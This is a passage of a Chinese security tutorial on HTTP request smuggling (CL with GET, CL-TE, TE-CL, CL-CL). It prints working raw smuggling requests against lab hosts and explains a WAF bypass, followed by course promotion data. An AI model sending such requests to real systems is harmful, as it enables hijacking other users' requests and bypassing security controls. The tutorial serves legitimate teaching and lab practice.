height=\"328.13305613305613\"\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E什么是HTTP请求走私\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003EHTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。\u003C\u002Fp\u003E\u003Cp\u003ETransfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。\u003C\u002Fp\u003E\u003Cp\u003E这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E如何实现HTTP请求走私攻击\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。\u003C\u002Fp\u003E\u003Ch3\u003E\u003Cb\u003ECL不为0时\u003C\u002Fb\u003E\u003C\u002Fh3\u003E\u003Cp\u003E该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EGET \u002F HTTP\u002F1.1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: example.com\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-Length : 51\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EGET \u002F HTTP\u002F1.1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: example.com\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Eattack: 1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Ehhh: \u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EGET \u002F HTTP\u002F1.1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: example.com\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-Length : 51\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EGET \u002F HTTP\u002F1.1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: example.com\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Eattack: 1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Ehhh: GET \u002F HTTP\u002F1.1\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: example.com\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-Length : 51\\r\\n\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。\u003C\u002Fp\u003E\u003Ch3\u003E\u003Cb\u003ECL-TE \u003C\u002Fb\u003E\u003C\u002Fh3\u003E\u003Cp\u003ECL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EPOST \u002F HTTP\u002F1.1\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: ac911f721f9ee241c01763ef008600f8.web-security-academy.net\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EConnection: close\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ECache-Control: max-age=0\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Esec-ch-ua: \"Chromium\";v=\"94\", \"Google Chrome\";v=\"94\", \";Not A Brand\";v=\"99\"\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Esec-ch-ua-mobile: ?0\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Esec-ch-ua-platform: \"Windows\"\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EUpgrade-Insecure-Requests: 1\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ESec-Fetch-Site: none\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ESec-Fetch-Mode: navigate\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ESec-Fetch-User: ?1\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ESec-Fetch-Dest: document\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EAccept-Language: zh-CN,zh;q=0.9\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ECookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-Length: 6\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ETransfer-Encoding: chunked\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E0\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EA\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E当我们用Burp两次重放该数据包,会得到返回结果:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"图2.png\" src=\"\u002Fcloud-image\u002Fnews\u002F079b4611-d12c-4c0a-bc7c-533ab10f1b42.png\" width=\"872\" height=\"366.55874673629245\"\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E解释一下为什么Content-Length的长度是6,因为Burp把\\r\\n给直接解释成换行了,实际请求体应该是这样:\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E0\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\\r\\n\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EA\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E后端服务器读到0\\r\\n\\r\\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。\u003C\u002Fp\u003E\u003Ch3\u003E\u003Cb\u003ETE-CL \u003C\u002Fb\u003E\u003C\u002Fh3\u003E\u003Cp\u003ETE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EPOST \u002F HTTP\u002F1.1\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EHost: acae1fe41e622a9bc0c7189700950000.web-security-academy.net\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ECookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-length: 4\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003ETransfer-Encoding: chunked\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E5c\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EGPOST \u002F HTTP\u002F1.1\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-Type: application\u002Fx-www-form-urlencoded\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003EContent-Length: 15\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003Ex=1\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E0\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\\r\\n\\r\\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"图3.png\" src=\"\u002Fcloud-image\u002Fnews\u002Fba93f943-95d2-494d-9161-321ac825aecb.png\" width=\"872\" height=\"338.8712871287129\"\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch3\u003E\u003Cb\u003ECL-CL\u003C\u002Fb\u003E\u003C\u002Fh3\u003E\u003Cp\u003ECL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E回到最初\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。\u003C\u002Fp\u003E",metaDescription:j,metaKeywords:i}},goodNewsList:[{id:"60ab74cd-8e5e-4a5c-934f-5e4a2e0511aa",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24.png?1782375005186",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24-small.png?1782375005186",subContent:"渗透学生入职L通"},{id:"fb4c4b99-5f1d-467e-84da-65f3723a7c95",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6.png?1781659646741",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6-small.png?1781659646741",subContent:"武装部表扬信"},{id:"317ffbf9-0c3d-4c43-8a88-dc6d4b0a4422",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c.png?1780647375683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c-small.png?1780647375683",subContent:d},{id:"3fa967d8-bbd7-432b-aea7-4627c5e3a8f2",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30.png?1780647366339",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30-small.png?1780647366339",subContent:d},{id:"696ed075-d4ee-499c-944b-753b0b648cc8",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4.png?1780647356038",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4-small.png?1780647356038",subContent:d},{id:"75b7d09d-f188-452b-86fb-811ebe3e9686",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e.png?1780647342261",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e-small.png?1780647342261",subContent:d},{id:"dda6dbd9-e998-40ae-a72c-0837f1bb3e67",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6.png?1780647320683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6-small.png?1780647320683",subContent:d},{id:"337dedac-db6f-4053-a246-dbae343b632e",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27.png?1780647308406",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27-small.png?1780647308406",subContent:d},{id:"6bd9ff8a-d5e6-4e97-b7dc-4949e987933e",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2.png?1780647292920",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2-small.png?1780647292920",subContent:d},{id:"f6551a2c-808a-4ff2-891e-d7510da1c322",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904.png?1780647282594",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904-small.png?1780647282594",subContent:d},{id:"7a70a637-a7a8-4adc-b853-d34e2dd3aa71",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a.png?1780647268334",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a-small.png?1780647268334",subContent:d},{id:"e6ab2e37-c390-4a2f-851a-a8953986e160",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c.png?1780647256899",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c-small.png?1780647256899",subContent:d},{id:"9ebae6e9-6201-4385-892d-ce81bfd5d6f8",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916.png?1780647244664",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916-small.png?1780647244664",subContent:d},{id:"d3638720-611b-4095-ba54-5feea9bbbcf0",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f.png?1780647229987",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f-small.png?1780647229987",subContent:d},{id:"ab57687a-684b-4823-ae8d-9bc4094fcb76",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e.png?1780647199285",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e-small.png?1780647199285",subContent:d},{id:"113d0779-2851-432b-8f5b-89eb12241272",type:a,category:b,tags:g,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909.png?1781147956085",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909-small.png?1781147956085",subContent:"渗透测试学生,入职海K,薪资20+"},{id:"53b6f5ee-2c50-423c-845b-cee6c00ecde6",type:a,category:b,tags:k,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e.png?1774834923466",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e-small.png?1774834923466",subContent:"通过训练不仅挖到了漏洞,学费也自己赚回来了"},{id:"88448d40-bc97-4b3a-8723-b08775ea4889",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909.png?1781147807896",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909-small.png?1781147807896",subContent:"渗透班优秀学生,入职华W"},{id:"09dce0d2-e362-4927-b269-7f1ea8085f3d",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08.png?1781147128716",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08-small.png?1781147128716",subContent:"大三计算机科学专业,通过web安全课程学习,进入电信实习"},{id:"de9f0cff-dd00-47d5-bcf5-da3742162d29",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0.png?1769160018185",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0-small.png?1769160018185",subContent:"高危原创漏洞证明"},{id:"3f4a0e71-4e14-492f-92d7-15f054caf269",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4.png?1768529638951",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4-small.png?1768529638951",subContent:"web安全学生获取cnvd证书"},{id:"0bfc445a-31ec-49c5-bee0-f0399f1b2dca",type:a,category:b,tags:g,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce.png?1768294167218",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce-small.png?1768294167218",subContent:"20岁、本科信安专业,实习面试通过,渗透岗位"},{id:"ad7fa854-d359-4b13-92b4-d237a12aa6a8",type:a,category:b,tags:g,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909.png?1781147648477",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909-small.png?1781147648477",subContent:"信安专业大三实习生,入职绿M"},{id:"229455f6-b661-41d7-8109-1cc2dc4aa582",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006.png?1767601292665",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006-small.png?1767601292665",subContent:e},{id:"dc4fd4cb-b81e-48e1-8f81-bceb16aedd35",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0.png?1767601265564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0-small.png?1767601265564",subContent:e},{id:"d192c517-0c0e-4af9-85ef-433e0b0b8563",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65.png?1767601246547",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65-small.png?1767601246547",subContent:e},{id:"b98bc789-2a54-48b0-9c5c-bad8f40abe06",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fc5f84315-faa9-492c-86b0-2a3d914cfaf4.png?1767601227564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fc5f84315-faa9-492c-86b0-2a3d914cfaf4-small.png?1767601227564",subContent:e},{id:"f0523976-a10c-428b-a62a-0413a3f706fb",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F99f372fd-3858-47c8-835f-4e6ce8b50fc4.png?1767601208449",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F99f372fd-3858-47c8-835f-4e6ce8b50fc4-small.png?1767601208449",subContent:e},{id:"b94adfa4-405c-4c83-b581-38daa71429b1",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5d8d9b6c